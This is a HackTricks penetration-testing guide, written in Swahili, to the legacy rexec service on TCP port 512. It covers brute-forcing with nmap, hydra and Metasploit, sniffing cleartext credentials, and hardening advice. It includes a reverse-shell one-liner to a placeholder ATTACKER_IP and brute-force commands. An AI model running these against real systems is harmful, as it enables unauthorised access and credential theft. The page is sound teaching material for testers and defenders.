512 - Pentesting Rexec

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Rexec (remote exec) ni moja ya huduma za asili za Berkeley r-services suite (pamoja na rlogin, rsh, …). Inatoa uwezo wa kutekeleza amri kwa mbali iliyothibitishwa tu kwa jina la mtumiaji na nenosiri la wazi. Protokali hii ilifafanuliwa mwanzoni mwa miaka ya 1980 (tazama RFC 1060) na sasa inachukuliwa kuwa haiko salama kwa muundo. Hata hivyo, bado inapatikana kwa chaguo-msingi katika baadhi ya vifaa vya zamani vya UNIX / vinavyounganishwa na mtandao na mara kwa mara huonekana wakati wa pentests za ndani.

Default Port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Mzunguko wote – ikiwa ni pamoja na akidi – unatumwa bila usimbuaji. Mtu yeyote mwenye uwezo wa kunusa mtandao anaweza kupata jina la mtumiaji, nenosiri na amri.

Muonekano wa haraka wa itifaki

  1. Mteja anajihusisha na TCP 512.
  2. Mteja anatumia nyuzi tatu zilizomalizika na NUL:
  • nambari ya bandari (kama ASCII) ambapo anataka kupokea stdout/stderr (mara nyingi 0),
  • jina la mtumiaji,
  • nenosiri.
  1. Nyota ya mwisho iliyomalizika na NUL yenye amri ya kutekeleza inatumwa.
  2. Seva inajibu kwa byte moja ya hali ya 8-bit (0 = mafanikio, 1 = kushindwa) ikifuatiwa na matokeo ya amri.

Hii inamaanisha unaweza kurudia kubadilishana na kitu kingine zaidi ya echo -e na nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Ikiwa akreditif ni halali utapokea matokeo ya id moja kwa moja kwenye muunganisho huo huo.

Matumizi ya mikono na mteja

Usambazaji mwingi wa Linux bado unapeleka mteja wa urithi ndani ya kifurushi cha inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Ikiwa -p haijajumuishwa, mteja atakuuliza kwa njia ya mwingiliano kwa neno la siri (linaloonekana kwenye waya kwa maandiko wazi!).


Uhesabuji & Kujaribu kwa nguvu

Kujaribu kwa nguvu

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE inatumia protokali iliyoelezwa hapo juu kujaribu akidi kwa haraka sana.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra ina moduli maalum ya rexec na inabaki kuwa bruteforcer wa haraka zaidi wa offline. medusa (-M REXEC) na ncrack (rexec moduli) zinaweza kutumika kwa njia ile ile.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Moduli utaanzisha shell kwa mafanikio na kuhifadhi akiba katika hifadhidata.


Kunasa akiba

Kwa sababu kila kitu kiko katika maandiko wazi, kunasa mtandao ni thamani isiyo na kifani. Kwa nakala ya trafiki unaweza kutoa akiba bila kugusa lengo:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark wezesha Decode As …​ TCP 512 → REXEC ili uone maeneo yaliyopangwa vizuri.)


Vidokezo vya Baada ya Utekelezaji

  • Amri zinaendeshwa kwa ruhusa za mtumiaji aliyepewa. Ikiwa /etc/pam.d/rexec imewekwa vibaya (mfano pam_rootok), shell za root wakati mwingine zinaweza kupatikana.
  • Rexec inapuuzilia mbali shell ya mtumiaji na inatekeleza amri kupitia /bin/sh -c <cmd>. Unaweza hivyo kutumia hila za kawaida za shell-escape (;, $( ), backticks) kuunganisha amri nyingi au kuzalisha shell za kurudi:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Nywila mara nyingi huhifadhiwa katika ~/.netrc kwenye mifumo mingine; ikiwa utavunja moja ya mwenyeji unaweza kuzitumia tena kwa harakati za upande.

Kuimarisha / Ugunduzi

  • Usifichue rexec; badilisha na SSH. Karibu seva zote za kisasa za inetd zinaondoa huduma hiyo kwa chaguo-msingi.
  • Ikiwa lazima uihifadhi, punguza ufikiaji kwa kutumia TCP wrappers (/etc/hosts.allow) au sheria za firewall na enforce nywila zenye nguvu kwa kila akaunti.
  • Fuata trafiki kwenda :512 na uzinduzi wa mchakato wa rexecd. Kukamata pakiti moja kunaweza kutosha kugundua uvunjaji.
  • Zima rexec, rlogin, rsh pamoja – zinashiriki sehemu kubwa ya msingi wa msimbo na udhaifu.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks